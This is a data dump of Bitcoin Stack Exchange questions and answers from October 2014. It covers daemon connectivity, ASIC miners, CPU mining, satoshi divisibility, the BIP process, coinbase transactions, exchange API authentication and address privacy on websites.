  <row Id="32065" PostTypeId="2" ParentId="30440" CreationDate="2014-10-22T02:07:23.337" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What does this mean? I'm running the command on the same machine where the daemon is running, so no remote connection needed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not talking about the connection between your command line and the Bitcoin daemon, it's talking about the connection between your Bitcoin daemon and other Bitcoin daemons.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can this happen? Why does a stable running bitcoind daemon suddenly gets disconnected?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You might be running a very old version of Bitcoin that is incompatible with other clients. Your ISP might be filtering Bitcoin traffic. Your OS might be out of file descriptors. There are a huge number of possible reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To narrow it down, have you tried looking at the debug.log of your Bitcoin client? You could also try looking at TCP traffic on port 8333 using Wireshark.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-19T09:33:52.307" LastActivityDate="2015-04-19T09:33:52.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32066" PostTypeId="2" ParentId="31981" CreationDate="2014-10-22T02:28:42.603" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://bigreport.io/worlds-first-wedding-blockchain/&quot; rel=&quot;nofollow noreferrer&quot;&gt;I think I found it&lt;/a&gt;, although it doesn't have the text as advertised.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;History was made today when David Mondrus and Joyce Bayo tied the knot on the blockchain. The transaction took place through Eric Grill’s CoinOutlet ATM at Disney World. The couple ‘burned’ 0.1 Bitcoin, committing their marriage to the network. Jeffrey Tucker officiated the wedding with one of the most moving speeches you’ll ever hear.&lt;/p&gt;&#xA;&lt;p&gt;Here is the historic transaction ID: &lt;a href=&quot;https://blockchain.info/tx/ad2e849f1de6d48dce1b671fe9b4ef6aee9c50710daccce3c0195087233ef2f6&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/ad2e849f1de6d48dce1b671fe9b4ef6aee9c50710daccce3c0195087233ef2f6&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Looking at the transaction history, it appears that they repeatedly made transactions until they spent 0.1 BTC. Ick.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-12-21T17:29:11.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32067" PostTypeId="2" ParentId="25104" CreationDate="2014-10-22T02:31:58.480" Score="1" Body="&lt;p&gt;Bitcoin Core clients do not keep track of the balance of addresses that aren't yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make sure that they do keep track of them, import the private keys into your wallet, and restart your Bitcoin client with the -rescan option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's what they mean by non-local.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-10-22T02:31:58.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32071" PostTypeId="1" AcceptedAnswerId="32087" CreationDate="2014-10-22T07:47:52.833" Score="3" ViewCount="1820" Body="&lt;p&gt;I'm looking into the re-use of ASIC miners to perform other mathematical tasks; for example, the sum of a prime and a random number producing a massive (arbitrarily long) integral value&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;i.e. sum(121 ^ 98435903485039)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;em&gt;I require the result of the sum, not the hash of the result of the sum.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What mathematical tasks can an ASIC perform?&lt;/li&gt;&#xA;&lt;li&gt;Do they have to be targetted specifically, or will the host machine naturally offload mathematical processing tasks to the ASIC?&lt;/li&gt;&#xA;&lt;li&gt;If ASICs need to be targetted specifically, how does mining software target the hardware capabilities of an ASIC?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9342" LastActivityDate="2014-10-22T19:30:01.140" Title="Reusability of ASIC miners" Tags="|asic|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32075" PostTypeId="2" ParentId="30186" CreationDate="2014-10-22T07:52:57.543" Score="2" Body="&lt;p&gt;The address is useless, the password insufficient. You need to have a &lt;strong&gt;backup&lt;/strong&gt; of your wallet, or know the &lt;strong&gt;mnemonics&lt;/strong&gt; for the seed. Otherwise you can't recover your coins.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-10-22T07:52:57.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32076" PostTypeId="2" ParentId="32071" CreationDate="2014-10-22T10:14:41.543" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What mathematical tasks can an ASIC perform?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Only the exact task they were designed to perform,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do they have to be targetted specifically, or will the host machine naturally offload mathematical processing tasks to the ASIC?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They have to be targeted specifically.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If ASICs need to be targetted specifically, how does mining software target the hardware capabilities of an ASIC?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The ASIC is specifically designed to mine and provides an interface for the mining software specifically to tell it what to mine and to read back the results of its mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASICs, essentially by definition, cannot be repurposed. The whole advantage of an ASIC is that it s totally and completely optimized for a single task and no resources are wasted on the ability to do other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For general purpose computing tasks like you're describing, you want a modern CPU or GPU.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-10-22T10:14:41.543" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32077" PostTypeId="2" ParentId="122" CreationDate="2014-10-22T12:41:57.627" Score="15" Body="&lt;p&gt;&lt;em&gt;TL;DR: If transaction volume explodes, Bitcoin is adopted for micro-payments, and the value of bitcoins increases sufficiently, we will need greater divisibility.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;First of all, since there are 100,000,000 satoshi to a bitcoin, obviously one satoshi would be worth $0.01 if one bitcoin were valued at $1 million.&lt;/p&gt;&#xA;&lt;p&gt;Further, &lt;a href=&quot;https://bitcoin.stackexchange.com/a/213/5406&quot;&gt;tysat's answer&lt;/a&gt; is based on the assumption that there are no use-cases for payments smaller than a cent.&lt;/p&gt;&#xA;&lt;p&gt;I don't believe that it is a valid assumption to make:&lt;br /&gt;&#xA;Next to there being other currencies with subunits of smaller value than $0.01, when one satoshi is worth $0.01, that would also be the smallest possible transaction fee one could attach! This would be prohibitively expensive for any micro-payment based business scheme, such as for example Bitcoin-based content paywalls, &lt;a href=&quot;https://bitcoin.stackexchange.com/a/24151/5406&quot;&gt;direct internet traffic payments to ISPs&lt;/a&gt;, or other automated micro-payment driven schemes: paying five cents to read an article, you'd have to add a 20% fee.&lt;/p&gt;&#xA;&lt;p&gt;Now, such services could possibly move off-chain where further precision could be added, yet that would require users to have accounts for each of those services, and to tie up their resources unnecessarily, while reintroducing counter-party risk; essentially reverting a lot of the key selling points of Bitcoin!&lt;/p&gt;&#xA;&lt;p&gt;Assuming that the Bitcoin protocol will develop to scale even beyond the transaction capacity of today's credit card systems as recently &lt;a href=&quot;https://gist.github.com/gavinandresen/e20c3b5a1d4b97f79ac2&quot; rel=&quot;nofollow noreferrer&quot;&gt;suggested by Gavin Andresen&lt;/a&gt;, it seems plausible that business ideas will appear to challenge even such transaction capacity. As those would though be prohibited by a minimal transaction fee of $0.01, we could see a push towards even smaller fees.&lt;/p&gt;&#xA;&lt;p&gt;Should the above lead to a scenario where somebody finds uses for payments with a value of a tenth of a cent ($0.001), and transaction fees for that should be less than 10% of the payment's value, we'd need smaller subunits if one bitcoin becomes more valuable than $10,000. Since we already have breached $1,000 once, that doesn't sound impossible.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Update 2017-03-23: AFAIU, adding further divisibility to Bitcoin would require a hard fork, and therefore is not something that will simply manifest. If necessary, it would require a massive overhaul of all software currently used in the Bitcoin ecosphere. On the other hand, Lightning actually already implemented support for sub-satoshi payments.&lt;/p&gt;&#xA;&lt;p&gt;Update 2018-05-17: Lightning uses millisatoshi to account for channel balances, adding another three magnitudes of precision. Payouts on the blockchain are rounded as the precision there is only to the satoshi.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2023-11-06T15:28:06.953" LastActivityDate="2023-11-06T15:28:06.953" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32078" PostTypeId="1" AcceptedAnswerId="32086" CreationDate="2014-10-22T12:43:14.357" Score="3" ViewCount="13939" Body="&lt;p&gt;I just downloaded Bitcoin Core and BFGminer on linux and I would like to start CPU mining just to see how it works, maybe later I'll buy ASIC. So, how can I configure CPU mining on BFGminer?&lt;/p&gt;&#xA;" OwnerUserId="20781" LastActivityDate="2017-05-21T22:00:40.037" Title="How can i set up CPU mining on bfgminer?" Tags="|cpu|bfgminer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32081" PostTypeId="2" ParentId="32078" CreationDate="2014-10-22T14:38:02.713" Score="1" Body="&lt;p&gt;You're not going to be able to mine Bitcoin with a CPU. This has been covered before. You'll need to buy an ASIC.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-10-22T14:38:02.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32082" PostTypeId="2" ParentId="4178" CreationDate="2014-10-22T16:15:14.517" Score="6" Body="&lt;p&gt;I'd recommend to read up on Bitcoin to understand what you're doing. Then you can find an &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;overview of wallets on bitcoin.org&lt;/a&gt;, but for a quick start, the fastest way to get started is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Desktop (Windows/Mac/Linux) : &lt;a href=&quot;https://electrum.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Electrum&lt;/a&gt; or &lt;a href=&quot;https://multibit.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;MultiBit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Android : &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Wallet&lt;/a&gt; by Andreas Schildbach&lt;/li&gt;&#xA;&lt;li&gt;iOS : &lt;a href=&quot;https://itunes.apple.com/app/breadwallet/id885251393&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bread Wallet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Windows phone : Get an Android phone instead&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are all fairly easy to use, and don't bother you with all kinds of advanced options.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;This post was adapted from my answer on &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/31966/how-to-get-started-with-a-bitcoin-wallet&quot;&gt;How to get started with a Bitcoin wallet&lt;/a&gt;.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="20702" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-08-29T14:17:15.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32083" PostTypeId="1" AcceptedAnswerId="32085" CreationDate="2014-10-22T16:42:44.527" Score="2" ViewCount="172" Body="&lt;p&gt;I went through the original paper by Satoshi, which outlines the Bitcoin protocol. However, the paper is a high level overview of Bitcoin, and does not specify important parts of the protocol. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who specified the details of the Bitcoin protocol? Which person or group is in charge of defining the standard of the protocol as of now? &lt;/p&gt;&#xA;" OwnerUserId="20788" LastEditorUserId="2306" LastEditDate="2014-10-22T17:13:54.460" LastActivityDate="2014-10-22T21:14:35.100" Title="Who specified the Bitcoin protocol?" Tags="|community|bitcoin-core-development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32084" PostTypeId="2" ParentId="32083" CreationDate="2014-10-22T16:54:28.473" Score="-3" Body="&lt;p&gt;We are, the Bitcoin community as a whole.&lt;/p&gt;&#xA;" OwnerUserId="20702" LastActivityDate="2014-10-22T16:54:28.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32085" PostTypeId="2" ParentId="32083" CreationDate="2014-10-22T17:55:04.820" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However, the paper is a high level overview of Bitcoin, and does not specify important parts of the protocol.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's true, and Hal Finney &lt;a href=&quot;https://www.mail-archive.com/cryptography%40metzdowd.com/msg09975.html&quot;&gt;noted this&lt;/a&gt; when the bitcoin paper was published to the metzdowd cryptography mailing list. (The Bitcoin paper was published before the Bitcoin source code.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unfortunately I am having trouble fully understanding the system. The paper describes key concepts and some data structures, but does not clearly specify the various rules and verifications that the participants in the system would have to follow.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Who specified the details of the Bitcoin protocol?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd say that Satoshi specified 95% of the Bitcoin protocol in the source code that was initially published. There have been changes made since then, but the majority of Bitcoin is unchanged.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Which person or group is in charge of defining the standard of the protocol as of now?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Essentially, you make a &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0001.mediawiki&quot;&gt;Bitcoin Improvement Proposal&lt;/a&gt;. Here's a summary of the process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Debate the issue in the community&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The BIP champion (a.k.a. Author) should first attempt to ascertain whether the idea is BIP-able. Posting to the bitcoin-development@lists.sourceforge.net mailing list (and maybe the Development&amp;amp;Technical Discussion forum) is the best way to go about this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Write a draft of the BIP&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once the champion has asked the Bitcoin community as to whether an idea has any chance of acceptance, a draft BIP should be presented to bitcoin-development@lists.sourceforge.net. This gives the author a chance to flesh out the draft BIP to make properly formatted, of high quality, and to address initial concerns about the proposal.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The BIP editor (Currently Gregory Maxwell) reviews it&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the BIP editor approves, he will assign the BIP a number, label it as Standards Track, Informational, or Process, give it status &quot;Draft&quot;, and add it to the git repository. The BIP editor will not unreasonably deny a BIP. Reasons for denying BIP status include duplication of effort, being technically unsound, not providing proper motivation or addressing backwards compatibility, or not in keeping with the Bitcoin philosophy.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For a BIP to be accepted it must meet certain minimum criteria. It must be a clear and complete description of the proposed enhancement. The enhancement must represent a net improvement. The proposed implementation, if applicable, must be solid and must not complicate the protocol unduly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Complete the reference implementation&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once a BIP has been accepted, the reference implementation must be completed. When the reference implementation is complete and accepted by the community, the status will be changed to &quot;Final&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-10-22T21:14:35.100" LastActivityDate="2014-10-22T21:14:35.100" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32086" PostTypeId="2" ParentId="32078" CreationDate="2014-10-22T19:27:34.650" Score="3" Body="&lt;p&gt;You can run a miner on a CPU, you just won't generate any measurable revenue. But as an experiment, it's certainly possible to do. I run cgminer on a CPU as an integration test for one of my node.js modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a rough outline of the steps you can go through to install an older, CPU-supported version of cgminer on your computer: &lt;a href=&quot;https://github.com/hashware/node-cgminer-api/blob/master/.travis.yml#L11-L24&quot; rel=&quot;nofollow&quot;&gt;https://github.com/hashware/node-cgminer-api/blob/master/.travis.yml#L11-L24&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12349" LastActivityDate="2014-10-22T19:27:34.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32087" PostTypeId="2" ParentId="32071" CreationDate="2014-10-22T19:30:01.140" Score="4" Body="&lt;p&gt;The ASIC of a miner cannot perform arbitrary maths, they can only perform SHA-256 hash computations. You can hash other things besides the blockchain, but you cannot instruct your miner to give you the result of 1 + 1, or any other arithmetic operation.&lt;/p&gt;&#xA;" OwnerUserId="12349" LastActivityDate="2014-10-22T19:30:01.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32089" PostTypeId="1" CreationDate="2014-10-22T20:03:32.493" Score="2" ViewCount="65" Body="&lt;p&gt;I am having a tough time in understanding how Bitcoin payment verification works:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How is Merkle tree related to Bitcoin blocks?&lt;/li&gt;&#xA;&lt;li&gt;Had Merkle tree not been there, what would have been the problem?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20788" LastEditorUserId="2306" LastEditDate="2014-10-23T00:43:28.953" LastActivityDate="2014-10-23T00:43:28.953" Title="Bitcoin payment verification" Tags="|verification|merkle-tree|" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-18T15:50:49.137" ContentLicense="CC BY-SA 3.0" />
  <row Id="32090" PostTypeId="1" CreationDate="2014-10-22T21:38:46.317" Score="1" ViewCount="997" Body="&lt;p&gt;Is there a way to get blockchain.info API call to know when the network sees an unconfirmed transaction? I'm also interested in any other method to get this result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The API works fine on the first confirmation but I need a faster method; I can't use bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example that uses chain.so. (I'd prefer to use blockchain.info for all my queries)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is an address that has 1 BTC unconfirmed transaction by the time of writing:&#xA;12gZ9aUaQbu7Pnguot6aKKjuuzQyY15VAE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the API call is : &lt;a href=&quot;https://chain.so/api/v2/get_address_received/btc/12gZ9aUaQbu7Pnguot6aKKjuuzQyY15VAE&quot; rel=&quot;nofollow&quot;&gt;https://chain.so/api/v2/get_address_received/btc/12gZ9aUaQbu7Pnguot6aKKjuuzQyY15VAE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the output is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;status&quot;: &quot;success&quot;,&#xA;  &quot;data&quot;: {&#xA;    &quot;network&quot;: &quot;BTC&quot;,&#xA;    &quot;address&quot;: &quot;12gZ9aUaQbu7Pnguot6aKKjuuzQyY15VAE&quot;,&#xA;    &quot;confirmed_received_value&quot;: &quot;0.00000000&quot;,&#xA;    &quot;unconfirmed_received_value&quot;: &quot;1.00000000&quot;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;unconfirmed_recieved_value&lt;/code&gt; is what I need.&lt;/p&gt;&#xA;" OwnerUserId="9876" LastEditorUserId="2306" LastEditDate="2014-10-23T19:31:37.053" LastActivityDate="2014-10-23T19:31:37.053" Title="API Call when a transaction is unconfirmed" Tags="|blockchain.info|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32091" PostTypeId="1" AcceptedAnswerId="32092" CreationDate="2014-10-23T03:29:29.627" Score="5" ViewCount="2489" Body="&lt;p&gt;As the wiki article says,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Given just those fields, people would frequently generate the exact&#xA;  same sequence of hashes as each other and the fastest CPU would almost&#xA;  always win. However, it is (nearly) impossible for two people to have&#xA;  the same Merkle root because the first transaction in your block is a&#xA;  generation &quot;sent&quot; to one of your unique Bitcoin addresses.]&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;noreferrer&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Who generates the coinbase transaction?&lt;/p&gt;&#xA;" OwnerUserId="20788" LastEditorUserId="5406" LastEditDate="2015-01-11T14:11:09.690" LastActivityDate="2018-04-26T14:38:40.503" Title="Who generates the coinbase transaction?" Tags="|mining-reward|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32092" PostTypeId="2" ParentId="32091" CreationDate="2014-10-23T03:51:47.777" Score="5" Body="&lt;p&gt;The coinbase transaction is not relayed by the network. It is invalid except as the first transaction in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A standalone miner generates the coinbase transaction itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In mining pools, the mining pool generates the coinbase, and sends it to the mining client.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-10-23T03:51:47.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32093" PostTypeId="1" AcceptedAnswerId="32197" CreationDate="2014-10-23T05:44:10.680" Score="1" ViewCount="969" Body="&lt;p&gt;I'm having trouble following LakeBTC's API instructions for connecting to their API via Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;API Documentation:&#xA;&lt;a href=&quot;https://www.lakebtc.com/s/api&quot; rel=&quot;nofollow&quot;&gt;https://www.lakebtc.com/s/api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my key (email address) and secret. I'm using the API URL: &lt;a href=&quot;https://www.LakeBTC.com/api_v1&quot; rel=&quot;nofollow&quot;&gt;https://www.LakeBTC.com/api_v1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what I try, I get a 401 Error. Below is my code, any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tonce = str(int(time.time() * 1e6))&#xA;&#xA;p = 'tonce=' + tonce \&#xA;    + '&amp;amp;accesskey=' + self.key \&#xA;    + '&amp;amp;requestmethod=post' \&#xA;    + '&amp;amp;id=1' \&#xA;    + '&amp;amp;method=' + 'getAccountInfo' \&#xA;    + '&amp;amp;params='&#xA;&#xA;# Create signature&#xA;hmac_obj = hmac.new(self.secret, p, hashlib.sha1)&#xA;&#xA;b64 = 'Basic ' + base64.b64encode(self.key + ':' + hmac_obj.digest())&#xA;&#xA;header = {&#xA;    'Json-Rpc-Tonce': tonce,&#xA;    'Authorization': b64,&#xA;    'content-type': 'application/json-rpc',&#xA;}&#xA;&#xA;response = requests.post(self.apiUrl, data=p, headers=header)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I encrypting and hashing correctly?&lt;/p&gt;&#xA;" OwnerUserId="20793" LastEditorUserId="20793" LastEditDate="2014-10-23T17:49:42.417" LastActivityDate="2014-10-29T04:19:07.283" Title="API Authentication via Python" Tags="|api|encryption|hash|authentication|python|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32094" PostTypeId="1" CreationDate="2014-10-23T08:46:17.703" Score="1" ViewCount="2123" Body="&lt;p&gt;A few hours ago, I created an offline transaction using the offline transaction tool available at:&#xA;&lt;a href=&quot;https://www.strongcoin.com/downloads/offlineTransaction.zip&quot; rel=&quot;nofollow&quot;&gt;https://www.strongcoin.com/downloads/offlineTransaction.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I coped and pasted the resulting transaction into the chain at:&#xA;&lt;a href=&quot;http://blockchain.info/pushtx&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/pushtx&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction appears to be stuck. It has a high priority but also says &quot;This transaction has a none standard input.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction # is:&#xA;5826ae9e76e2edac733bf9633f5b13de3985dc8989d64ba1780e01d7eac76ee2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some googling around, but have found no definitive solution. In the meantime, I imported the private key of the sending address into a wallet at blockchain.info (not sure if this can help - it shows that I sent the bitcoins, but the transaction is unconfirmed.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do? If I wait a few days, will the transaction simple fail &amp;amp; the funds revert back to the sending address? Will sending a second transaction work (possibly after waiting a few day)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to the bitcoin thing. I am pretty technical (part of the reason I went for an offline wallet to begin with), and thought I had a firm grasp of what I was doing. As it were, I should have played around more with smaller transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be very appreciated. Thanks! &lt;/p&gt;&#xA;" OwnerUserId="20795" LastEditorUserId="5406" LastEditDate="2014-10-23T13:01:39.733" LastActivityDate="2014-10-23T15:51:10.667" Title="Unconfirmed transaction - Non(e) standard input" Tags="|transactions|unconfirmed-transactions|non-standard-transaction|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32095" PostTypeId="1" CreationDate="2014-10-23T11:08:18.850" Score="4" ViewCount="207" Body="&lt;p&gt;Rather than having a single, fixed address, I want to generate a new address on my website every time a user request comes in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm concerned about google or another web crawler indexing my website and tying my Bitcoin address to my website address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've thought about pregenerating the addresses, storing them in a database, and only showing one to each user. I think there's probably a better way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use node.js, so a solution using bitcoinjs or another node.js package would be preferable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer to use multisignature addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would rather not depend on blockchain.info or an exchange - it introduces a single point of failure.&lt;/p&gt;&#xA;" OwnerUserId="20667" LastEditorUserId="2306" LastEditDate="2014-10-23T14:59:07.243" LastActivityDate="2018-07-30T19:07:07.967" Title="Preventing the exposure of public addresses on a website" Tags="|privacy|multi-signature|bitcoinjs|node.js|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32096" PostTypeId="2" ParentId="32095" CreationDate="2014-10-23T11:33:07.100" Score="0" Body="&lt;p&gt;One time keys are standard practice on some exchanges. E.g. when you top up the exchange wallet the receiving address is recycled after it receives one transaction. You can generate receiving addresses on the fly, there is no need to pre-generate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to put receiving addresses behind something which stops the crawler. If you only target web crawlers, putting the payment page behind HTTP POST form is enough. If you want to stop malicious visitors you need to have CAPTCHA before the visitor can get the payment address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you might want to make sure that there are no log entries of QR codes and such. This is best accomplished by generating the QR code image on the client side using JavaScript. &lt;a href=&quot;https://github.com/miohtama/bitcoinaddress.js&quot; rel=&quot;nofollow&quot;&gt;Here is an example library for it&lt;/a&gt;. Some popular solutions, like Google's QR code generator, have QR code content in URL, thus leaving log entries containing the address.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-10-23T11:33:07.100" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
